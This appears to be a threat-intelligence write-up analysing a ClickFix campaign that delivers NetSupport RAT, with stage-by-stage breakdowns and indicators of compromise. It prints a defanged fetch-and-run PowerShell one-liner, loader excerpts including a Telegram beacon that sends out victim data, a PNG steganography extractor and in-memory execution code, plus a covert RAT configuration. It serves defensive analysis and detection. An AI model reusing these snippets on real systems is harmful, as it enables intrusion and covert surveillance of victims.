*Published: 8/13/2026*
> **High-level Overview:** A ClickFix `iex(irm fixconfig[.]app)` paste ran an in-memory PowerShell loader that unpacked itself one stage at a time, compiled its own helper DLLs on the box, and reported the victim to a Telegram bot named ClickHunter. It then pulled its real payload out of a working PNG served from the same domain, and the script hidden in that image dropped NetSupport Manager (renamed `Flaut.exe`) into `C:\ProgramData\PaperStreamCapture\`, wrote a C2 config pointing at `laborado[.]net`, and persisted by hijacking a shortcut in the user's Startup folder. The EDR solution caught it at pre-execution, but the loader ran far enough to lay down the full RAT payload, its config, and persistence.
## The chain at a glance
![[clickfix_netsupport_execchain.png]]
## Attribution
Delivery traces to UNC5518, an initial access broker that Google Threat Intelligence and Mandiant have tracked since June 2024 as a financially motivated cluster with no public tie to a state-sponsored origin. UNC5518 runs access-as-a-service, compromising legitimate websites at scale to serve the fake ClickFix pages and then selling or handing the resulting foothold to downstream actors. Because they serve multiple buyers, one UNC5518 lure can resolve to very different second-stage malware depending on which customer takes the access, which is why ClickFix chains lead to so many unrelated families.
Known downstream customers include:
- UNC5774, a financially motivated group that deploys the CORNFLAKE.V3 backdoor as its own loader for follow-on payloads.
- UNC4108, a cluster of unknown motivation that uses PowerShell to deploy VOLTMARKER and NetSupport RAT alongside hands-on reconnaissance.
Some of these downstream operators have pushed their footholds into ransomware, at times through Russian-speaking RaaS affiliate networks. The NetSupport payload in this case lines up with UNC4108's known tradecraft, so the chain reads as UNC5518 access handed to a NetSupport-deploying customer rather than a targeted intrusion. It also matches the ClickFix-to-NetSupport activity Netskope and Cybereason documented through 2026, the SmartApeSG pages SANS ISC has tracked, and the EVALUSION campaign eSentire's TRU named in November 2025. NetSupport itself is a legitimate product from NetSupport Ltd, abused here by renaming `client32.exe` to `Flaut.exe` and running it from `ProgramData`.
## Stage-by-stage
### Stage 0: ClickFix delivery
The parent is `explorer.exe`, so the command came straight from the `Win + R` Run dialog. The lure domain drops the fake-captcha theater entirely and just reads like a config fix.
> [!example]- ClickFix root
> ```python
> "powershell.exe" -c "iex(irm fixconfig[.]app)"
> ```
`irm fixconfig[.]app` pulls the loader from `144.202.4[.]36` and `iex` runs it in memory. `fixconfig[.]app` is the whole payload host, no random subdomain and no path selector this time.
### Stage 1: the in-memory loader
`fixconfig[.]app` returns a PowerShell loader that never writes itself to disk. It opens with a block comment posing as a `MICROSOFT SECURITY INTELLIGENCE UPDATE`, complete with invented session and series identifiers and a line telling the user not to close the window, so anyone who catches the script running reads it as a Microsoft updater.
Before it does anything the loader reads the hostname and returns if it matches the string `CLEAN`, which it encodes three different ways across the stages: an XOR array (`@(123,116,125,121,118)` each `-bxor 56`), a character-code array (`[char]67,76,69,65,78`), and base64 (`KkNMRUFOKg==` for `*CLEAN*`). `CLEAN` is a common analysis-VM hostname, so the loader exits on anything that looks like a sandbox.
It then hides its own window with inline C# compiled through `Add-Type`, calling `GetConsoleWindow` and then `ShowWindow(hwnd, 0)` to hide the console and `SetWindowPos(..., -32000, -32000, ...)` to shove it off-screen. Two randomized `Start-Sleep` calls, each between roughly one and three and a half seconds, break up the timing before it continues.
Almost none of that is easy to spot, because most of the script is padding. The captured content already runs past a thousand lines with roughly two-thirds of them variable assignments that compute a value and never read it back, things like `[math]::Sqrt(8402)`, `[math]::PI`, `[guid]::NewGuid().ToString().Substring(0, 8)`, `[int]('3856')`, bare arithmetic such as `58 * 48`, and arrays of random five-character strings, each pattern repeated dozens of times.
The functional code, maybe thirty lines, sits inside that wall and uses the same handful of tricks throughout. Sensitive tokens are assembled rather than written out (`('Com'+'puter'+'Name')`, `[string]::Concat(...)`, `'EtMY'.Replace('U8','cN')`), the environment is read through `Get-Item -LiteralPath ('Env:'+...)` rather than `$env:`, numeric constants are computed with single-byte XOR (`228 -bxor 20`), and filenames, labels, and the payload bytes are all base64. Staging folders are generated fresh per run with `-join ((97..122) | Get-Random -Count 10 | ForEach-Object { [char]$_ })`, so there is no fixed path to catch.
> [!example]- The wall: a representative slice of the junk padding
> ```powershell
> $r9s7UX4y0PIM = [math]::Sqrt(8402)
> $QhYFVanivuZLU = 58 * 48
> $LLbWrhl1hjrv = [math]::PI
> $QiS1fJ9ifh2 = 7315 + 717
> $faU6xMTaU4P = [guid]::NewGuid().ToString().Substring(0, 8)
> $CYNvEI6Y7a2N5 = [int]('3856')
> $BWtL9Urbyx = [string]::Concat('FsPD', 's4zt')
> $ZaxDYeozF7K = 'OKrB'.Replace('MZ', 'W3')
> $O60FuNfv1nC = 'sPS39JJF'.Length
> $qw2o6yE3sy = @('tMWTl', 'RMFhW', 'vjnTw')
> # ...hundreds more, none of the results ever used
> ```
> [!example]- The real logic, pulled out of the wall
> ```powershell
> # hostname sandbox-guard, 'CLEAN' rebuilt by XOR
> $h = (Get-Item -LiteralPath ('Env:'+('Com'+'puter'+'Name')) -ErrorAction SilentlyContinue).Value
> $g = -join (@(123,116,125,121,118) | ForEach-Object { [char]($_ -bxor 56) }) # -> CLEAN
> if ($h -and $h -match $g) { return }
> # random per-run staging folder name
> $randName = -join ((97..122) | Get-Random -Count 10 | ForEach-Object { [char]$_ })
> # timing jitter
> Start-Sleep -Milliseconds (Get-Random -Minimum 1990 -Maximum 3160)
> ```
### Stage 2: compiling helpers on the box
The loader calls `Add-Type`, which spawns `csc.exe` (the .NET compiler) three times, each producing a helper DLL in `%TEMP%` (`4dtk1c30.dll`, `4f0r0gjj.dll`, `0tl3duhd.dll`) with `cvtres.exe` alongside. This is the console-hiding and P/Invoke code getting compiled locally rather than shipped as a binary, so there is no pre-built DLL to flag and the compiler doing the work is a signed Microsoft tool.
### Stage 3: each stage carries the next one
Buried in each wall of dead assignments is a long base64 string, and decoding it returns the next stage of the loader. The encoding runs base64, then a single-byte XOR whose key is computed inline right above the blob (`88 -bxor 125` giving 37, `104 -bxor 6` giving 110), then base64 again, and finally UTF-16LE text. Peeling one stage yields a script that looks exactly like the one that carried it, another few hundred lines of `[math]::Sqrt` and `[guid]::NewGuid` noise wrapped around the next blob, so the loader unpacks itself one layer at a time in memory and nothing but the original one-liner is ever written to disk.
> [!example]- Stage decode chain
> ```python
> # each wall holds the next stage:
> # base64 → XOR(seed) → base64 → UTF-16LE → PowerShell
> $CHj58iZ1WhDAr = 88 -bxor 125 # seed 37, decodes to the Telegram/recon stage
> $SQgvejoac = 104 -bxor 6 # seed 110, decodes to the stego retrieval stage
> ```
### Stage 4: victim report to Telegram
The loader fingerprints the host through `ip-api.com` (external IP, city, region, ISP, timezone) and local calls (`Win32_OperatingSystem`, `DisplayVersion`, admin check, architecture), then POSTs it all to `api.telegram.org` as a bot `sendMessage`. The message is self-labeled:
> [!example]- Telegram victim report (ClickHunter)
> ```python
> $__tgT = '8698633751:AAF...QhoQTU' # bot token
> $__tgC = '-1004329861608' # chat id
> $__msg = @('ClickHunter','Event: launch',('PC: '+$env:COMPUTERNAME),
> ('User: '+$env:USERDOMAIN+'\'+$env:USERNAME),('IP: '+$__ip),('Geo: '+$__geo),
> ('ISP: '+$__isp),('OS: '+$__os),('Admin: '+$__adm),('Time: '+(Get-Date ...)))
> ```
`ClickHunter` is the operator's name for the kit, and the per-victim Telegram ping is how they see fresh infections land in real time. The loader also drops a tray `NotifyIcon` with a shield and the base64 label `Windows Security` to sell the "your PC is being secured" story while it works.
The domain and both gateways will rotate, and the payload directory and client filename are regenerated per run, but the Telegram ping has to stay, because it's how the operator knows access landed and how it gets sold on. `api.telegram.org` resolved by `powershell.exe` isn't normal on a user endpoint, and the `ip-api.com` lookup a few seconds earlier is just as out of place.
### Stage 5: the payload arrives inside a PNG
Once the victim has been reported, the loader compiles one more C# helper and goes back to the same host for the real payload, requesting `hxxps://fixconfig[.]app/basic.png` over the connection it already opened. Both the URL and the `Invoke-WebRequest` call are stored as base64, and an `HttpClient` fallback fires if the first request returns fewer than 64 bytes, so a single failed download doesn't break the chain.
What comes back is a working PNG. The payload is appended past the end of the image data and located by scanning for the byte marker `0x89 43 48 49 4D 47 00`, which reads as `\x89CHIMG\x00` and deliberately mirrors the `\x89PNG` signature at the front of every real PNG file. Behind that marker sits a length-prefixed blob with its own magic value `CHP1`, then a two-byte key length, the XOR key itself, a four-byte payload length, and the encrypted body. The helper XORs the body against the repeating key, pushes the result through `GZipStream`, and reads it back out as UTF-8.
> [!example]- Stego extraction routine (`__Xa7471edb80`)
> ```csharp
> public static string FromPng(byte[] png) {
> byte[] mark = new byte[] { 0x89, (byte)'C', (byte)'H', (byte)'I', (byte)'M', (byte)'G', 0x00 };
> int pos = IndexOf(png, mark);
> if (pos < 0) throw new Exception("stego");
> int o = pos + mark.Length;
> int blobLen = ReadInt(png, o); o += 4;
> var blob = new byte[blobLen];
> Buffer.BlockCopy(png, o, blob, 0, blobLen);
> return DecryptBlob(blob); // CHP1 | keyLen | key | dataLen | XOR'd GZip
> }
> ```
The string that comes out is PowerShell, and it runs without ever reaching disk:
> [!example]- In-memory execution of the extracted payload
> ```python
> $__url = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(
> 'aHR0cHM6Ly9maXhjb25maWcuYXBwL2Jhc2ljLnBuZw==')) # hxxps://fixconfig[.]app/basic.png
> $__payload = [__Xa7471edb80]::FromPng($__imgBytes)
> $__run = ([type](('Scr'+'ipt'+'block'))).GetMethod('Create').Invoke($null, @($__payload))
> . $__run
> ```
Even the type name is assembled at runtime, with `[scriptblock]` built from `'Scr'+'ipt'+'block'` and resolved through reflection so the literal never appears. That dot-sourced script is the NetSupport deployment stage, so the RAT and every PE in it reached the host behind a `.png` request that looks like any other image fetch. The `CH` in both `CHIMG` and `CHP1` matches the `ClickHunter` label in the Telegram beacon, so the operator branded their own container format.
The retrieval also leaves almost nothing in network telemetry. `fixconfig[.]app` was already resolved at the start of the chain, so the PNG fetch generates no new DNS event and no new destination IP, and it rides inside the same session as the initial `irm`. Nothing in the process tree's network events separates it from the original download, and the only place it appears at all is in the script content.
### Stage 6: NetSupport RAT deployment
The script that came out of the PNG carries the RAT itself, as base64 PE blobs held in an `$embedded` array and written straight to disk. It drops NetSupport Manager, a legitimate remote-control product, as its full stock component set with the client renamed to `Flaut.exe`. NetSupport ships that client as `client32.exe`, so a renamed copy running out of `ProgramData` instead of `Program Files` is the tell.
The deploy logic tries several folders in random order (a fresh random-named `ProgramData` dir, an `AppDataCache` fallback, then existing non-Windows `ProgramData` subdirs) and stops at the first that takes the write, so the exact path varies per run. On this host it landed in `PaperStreamCapture`, which belongs to Fujitsu's scanner software and was already on the box, so the payload sits in a real application directory rather than anything the loader created. One stray Russian error string sits in the deploy function, `Не найден исполняемый файл` ("executable file not found"), and it is the only plaintext non-English string in a script where every other label is base64 or assembled from fragments, so it reads as a developer's own debug message left behind rather than anything deliberate.
### Stage 7: the C2 config
Every binary in that set is stock NetSupport, so the only file carrying anything operator-specific is the config. It drops as `hrxvw.ini` and is immediately renamed to `client32.ini` alongside the client, which is the filename NetSupport actually reads at startup.
> [!example]- client32.ini (trimmed)
> ```ini
> [Client]
> silent=1
> SysTray=0
> ShowUIOnConnect=0
> DisableClientConnect=1
> DisableDisconnect=1
> DisableChatMenu=1
> DisableRequestHelp=1
> Usernames=*
>
> [HTTP]
> GatewayAddress=laborado[.]net:443
> gsk=GI<C@GEJ:D>JCHGL<OAIEO:H>MCGHN
> SecondaryGateway=expendia[.]net:443
> SecondaryPort=443
>
> [_Info]
> Filename=C:\Users\Administrator\Pictures\5\client32.ini
> ```
The C2 lives in the `[HTTP]` section, with `laborado[.]net:443` as the primary gateway and `expendia[.]net:443` as the fallback, both on 443 so the traffic sits in normal outbound TLS. The `gsk` value is NetSupport's gateway security key, which authenticates the client to the operator's gateway.
The `[Client]` block is configured so nobody notices it running. `silent=1`, `SysTray=0`, and `ShowUIOnConnect=0` keep the client invisible, `DisableClientConnect` and `DisableDisconnect` remove the user's ability to see or end a session, `DisableChatMenu` and `DisableRequestHelp` strip the interactive features a real help-desk deployment would want, and `Usernames=*` accepts any operator. Every one of those is a supported NetSupport setting, so the product becomes a surveillance tool through its own configuration without a single binary being modified.
The leftover `[_Info]` line points at `C:\Users\Administrator\Pictures\5\client32.ini`, which is where the config was generated on the operator's own machine rather than anything on the victim, so the NetSupport configurator wrote a path from the build box straight into the shipped file.
### Stage 8: persistence and cleanup
For persistence the script grabs a random existing `.lnk` from the user's Startup folder and rewrites its target to launch the RAT through `explorer.exe`, only creating `SecurityHealth.lnk` if Startup turns out to be empty, and on this host it hijacked `Send to OneNote.lnk`. Running the payload as an argument to `explorer.exe` also means the process starts under a trusted parent instead of hanging off PowerShell.
It then clears `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU`, which erases the pasted command from the Run dialog's history and takes with it the clearest on-host record of how the infection started.
## What stands out
- There's no fake captcha at all, just a plain `fixconfig[.]app` domain and an on-host "Windows Security" tray icon doing the reassurance work the reCAPTCHA screen usually does.
- The loader builds its own console-hiding helpers on the box with `csc.exe` rather than shipping a DLL, so the compile runs through a signed Microsoft binary and there's nothing prebuilt to flag.
- It refuses to run on a host named `CLEAN`, encoded three separate ways, so it skips anything that looks like a sandbox.
- Every victim is reported to a named Telegram bot (`ClickHunter`) the moment it lands, which is how these kits get operated and sold.
- The RAT is delivered inside a working PNG, appended past the image data behind a `\x89CHIMG\x00` marker that mimics the real PNG signature, then XOR-decrypted and gunzipped into a script that executes from memory.
- The payload is a legitimate RMM tool, NetSupport renamed to `Flaut.exe` and run out of `ProgramData`, turned into a surveillance tool purely through `client32.ini` settings without touching a binary.
- It cleans up behind itself, wiping the `RunMRU` key so the pasted command drops out of the Run box and hijacking an existing Startup shortcut instead of dropping an obvious new one.
## Indicators
**Domains / IPs**
- `fixconfig[.]app` (ClickFix loader host), `144.202.4[.]36` :80/:443
- `hxxps://fixconfig[.]app/basic.png` (stego payload, NetSupport deployment script appended to a valid PNG)
- `laborado[.]net:443` (NetSupport C2, primary gateway)
- `expendia[.]net:443` (NetSupport C2, secondary gateway)
- `ip-api.com` (`208.95.112[.]1`), victim geo/ISP fingerprint (legitimate service, abused)
- `api.telegram.org` (`149.154.166[.]110`), C2/victim reporting
**Telegram**
- Bot token `8698633751:AAF...QhoQTU`, chat id `-1004329861608`, kit label `ClickHunter`
**Stego container format (ClickHunter)**
- appended-data marker `0x89 43 48 49 4D 47 00` (`\x89CHIMG\x00`), placed after valid PNG data
- inner blob magic `CHP1`, layout `CHP1 | keyLen(2, BE) | key | dataLen(4, BE) | XOR'd GZip UTF-8`
- extractor class compiled at runtime via `Add-Type -ReferencedAssemblies System.IO.Compression`
- executed with `([type]('Scr'+'ipt'+'block')).GetMethod('Create')`, dot-sourced, never written to disk
**NetSupport config (`client32.ini`)**
- `GatewayAddress=laborado[.]net:443`, `SecondaryGateway=expendia[.]net:443`
- `gsk=GI<C@GEJ:D>JCHGL<OAIEO:H>MCGHN` (gateway security key, encoded)
- `RADIUSSecret=dgAAAPpMkI7ke494fKEQRUoablcA` (gateway auth blob, encoded)
- build-box artifact `[_Info] Filename=C:\Users\Administrator\Pictures\5\client32.ini`
**Paths / artifacts**
- `C:\ProgramData\PaperStreamCapture\` (NetSupport payload, an existing Fujitsu scanner directory; deploy path randomizes per run)
- `Flaut.exe` (renamed NetSupport `client32.exe`), config dropped as `hrxvw.ini` then renamed `client32.ini`
- Startup `.lnk` hijack (here `Send to OneNote.lnk`), fallback `SecurityHealth.lnk`
- `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` cleared (anti-forensics)
- `%TEMP%\*.dll` compiled via `csc.exe` (loader helpers)
**SHA256**
- `56ebaf8922749b9a9a7fa2575f691c53a6170662a8f747faeed11291d475c422`: Flaut.exe (NetSupport client)
- `474c620f1dc001d5cb842296eed466af632d5d96353cb6093b86ed13623d8501`: Send to OneNote.lnk (persistence)
## References
- Google Cloud (Mandiant), "A Cereal Offender: Analyzing the CORNFLAKE.V3 Backdoor" (UNC5518, UNC5774, UNC4108). https://cloud.google.com/blog/topics/threat-intelligence/analyzing-cornflake-v3-backdoor
- Netskope, "From ClickFix to MaaS: Exposing a Modular Windows RAT and Its Admin Panel." https://www.netskope.com/blog/from-clickfix-to-maas-exposing-a-modular-windows-rat-and-its-admin-panel
- SANS ISC, "Unidentified RAT pushes NetSupport RAT." https://isc.sans.edu/diary/Unidentified+RAT+pushes+NetSupport+RAT/33034
- SANS ISC, "SmartApeSG campaign uses ClickFix page to push NetSupport RAT." https://isc.sans.edu/diary/32474
- Cybereason, "Deploying NetSupport RAT via WordPress & ClickFix." https://www.cybereason.com/blog/net-support-rat-wordpress-clickfix
- eSentire TRU, "EVALUSION Campaign Delivers Amatera Stealer and NetSupport RAT." https://www.esentire.com/blog/evalusion-campaign-delivers-amatera-stealer-and-netsupport-rat